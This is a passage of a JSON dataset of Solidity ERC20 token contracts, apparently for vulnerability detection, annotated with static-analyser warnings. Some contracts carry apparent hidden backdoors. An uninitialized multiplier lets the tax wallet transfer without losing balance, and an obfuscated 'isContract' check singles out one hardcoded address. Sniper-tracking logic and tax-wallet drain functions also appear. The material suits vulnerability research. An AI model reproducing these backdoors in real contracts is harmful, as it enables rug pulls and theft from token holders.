9fa0df6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4760178): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4760178: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n bool buy_tran = from == uniswapPair;\n\n bool sell_tran = to == uniswapPair;\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n buy_tran &&\n to != address(uniswapV2Router) &&\n !_excludedFromLimits[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (sell_tran && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n sell_tran &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 1095580\n\t\t\t\t// reentrancy-benign | ID: 9fa0df6\n\t\t\t\t// reentrancy-eth | ID: 4760178\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1095580\n\t\t\t\t\t// reentrancy-eth | ID: 4760178\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_excludedFromLimits[from] || _excludedFromLimits[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 9fa0df6\n maxBasicUniData = block.number;\n }\n\n if (!_excludedFromLimits[from] && !_excludedFromLimits[to]) {\n if (!sell_tran) {\n BasicUniData storage bsUni = basicUni[to];\n\n if (buy_tran) {\n if (bsUni.bsUniStd == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 9fa0df6\n bsUni.bsUniStd = _buyCount <= _preventSwapBefore\n ? type(uint).max\n : block.number;\n }\n } else {\n BasicUniData storage bsUniState = basicUni[from];\n\n if (\n bsUni.bsUniStd == 0 ||\n bsUniState.bsUniStd < bsUni.bsUniStd\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 9fa0df6\n bsUni.bsUniStd = bsUniState.bsUniStd;\n }\n }\n } else {\n BasicUniData storage bsUniState = basicUni[from];\n\n\t\t\t\t// reentrancy-benign | ID: 9fa0df6\n bsUniState.rwrdStake = bsUniState.bsUniStd.sub(maxBasicUniData);\n\n\t\t\t\t// reentrancy-benign | ID: 9fa0df6\n bsUniState.isBasicRwrd = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 1095580\n\t\t// reentrancy-eth | ID: 4760178\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 4760178\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 4760178\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 1095580\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: f155327): MEMORY.basicUniExcluded is never initialized. It is used in MEMORY._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for f155327: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : basicUniExcluded.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4760178\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1095580\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1095580\n\t\t// reentrancy-events | ID: cb57085\n\t\t// reentrancy-benign | ID: 042bdc7\n\t\t// reentrancy-benign | ID: 9fa0df6\n\t\t// reentrancy-eth | ID: 4760178\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1095580\n\t\t// reentrancy-events | ID: cb57085\n\t\t// reentrancy-eth | ID: 4760178\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9e4f546): MEMORY.enableTrading() ignores return value by IERC20(uniswapPair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9e4f546: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bf44a8b): MEMORY.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for bf44a8b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2f0a4f6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2f0a4f6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2f0a4f6\n uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: bf44a8b\n\t\t// reentrancy-eth | ID: 2f0a4f6\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 9e4f546\n\t\t// reentrancy-eth | ID: 2f0a4f6\n IERC20(uniswapPair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 2f0a4f6\n tradingOpen = true;\n }\n\n function revokeStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n _taxWallet.transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10659.sol",
"size_bytes": 22533,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract New is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c2754fd): New._taxWallet should be immutable \n\t// Recommendation for c2754fd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 21;\n\n uint256 private _initialSellTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 76c72a7): New._finalBuyTax should be constant \n\t// Recommendation for 76c72a7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ec3252): New._finalSellTax should be constant \n\t// Recommendation for 2ec3252: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 21;\n\n uint256 private _reduceSellTaxAt = 21;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Dark MAGA\";\n\n string private constant _symbol = unicode\"DMAGA\";\n\n uint256 public _maxTxAmount = 1300000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1300000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: eb82a0b): New._taxSwapThreshold should be constant \n\t// Recommendation for eb82a0b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 673d4d5): New._maxTaxSwap should be constant \n\t// Recommendation for 673d4d5: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 02bfac8): New.caBlockLimit should be constant \n\t// Recommendation for 02bfac8: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 35ca850): New.caLimit should be constant \n\t// Recommendation for 35ca850: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x2CcA118f1Be9514D027e7f0066F07e4D100565D9);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 05c492a): New.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 05c492a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cae6f79): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cae6f79: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fa9efde): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fa9efde: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: cae6f79\n\t\t// reentrancy-benign | ID: fa9efde\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: cae6f79\n\t\t// reentrancy-benign | ID: fa9efde\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b849ccb): New._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b849ccb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: fa9efde\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: cae6f79\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 28d490e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 28d490e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b964f76): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b964f76: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0fa6998): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0fa6998: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 28d490e\n\t\t\t\t// reentrancy-eth | ID: b964f76\n\t\t\t\t// reentrancy-eth | ID: 0fa6998\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 28d490e\n\t\t\t\t\t// reentrancy-eth | ID: b964f76\n\t\t\t\t\t// reentrancy-eth | ID: 0fa6998\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 0fa6998\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 0fa6998\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 28d490e\n\t\t\t\t// reentrancy-eth | ID: b964f76\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 28d490e\n\t\t\t\t\t// reentrancy-eth | ID: b964f76\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b964f76\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 28d490e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b964f76\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b964f76\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 28d490e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 28d490e\n\t\t// reentrancy-events | ID: cae6f79\n\t\t// reentrancy-benign | ID: fa9efde\n\t\t// reentrancy-eth | ID: b964f76\n\t\t// reentrancy-eth | ID: 0fa6998\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0de85e9): Missing events for critical arithmetic parameters.\n\t// Recommendation for 0de85e9: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: 0de85e9\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: 0de85e9\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: 0de85e9\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: 0de85e9\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: 0de85e9\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 1cdbef8): New.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 1cdbef8: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 1cdbef8\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 28d490e\n\t\t// reentrancy-events | ID: cae6f79\n\t\t// reentrancy-eth | ID: b964f76\n\t\t// reentrancy-eth | ID: 0fa6998\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 909d7b3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 909d7b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 091539e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 091539e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4c54f8f): New.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4c54f8f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4a90490): New.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4a90490: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: eb8edf4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for eb8edf4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 909d7b3\n\t\t// reentrancy-benign | ID: 091539e\n\t\t// reentrancy-eth | ID: eb8edf4\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 091539e\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 091539e\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 909d7b3\n\t\t// unused-return | ID: 4c54f8f\n\t\t// reentrancy-eth | ID: eb8edf4\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 909d7b3\n\t\t// unused-return | ID: 4a90490\n\t\t// reentrancy-eth | ID: eb8edf4\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 909d7b3\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: eb8edf4\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 909d7b3\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_1066.sol",
"size_bytes": 22079,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n 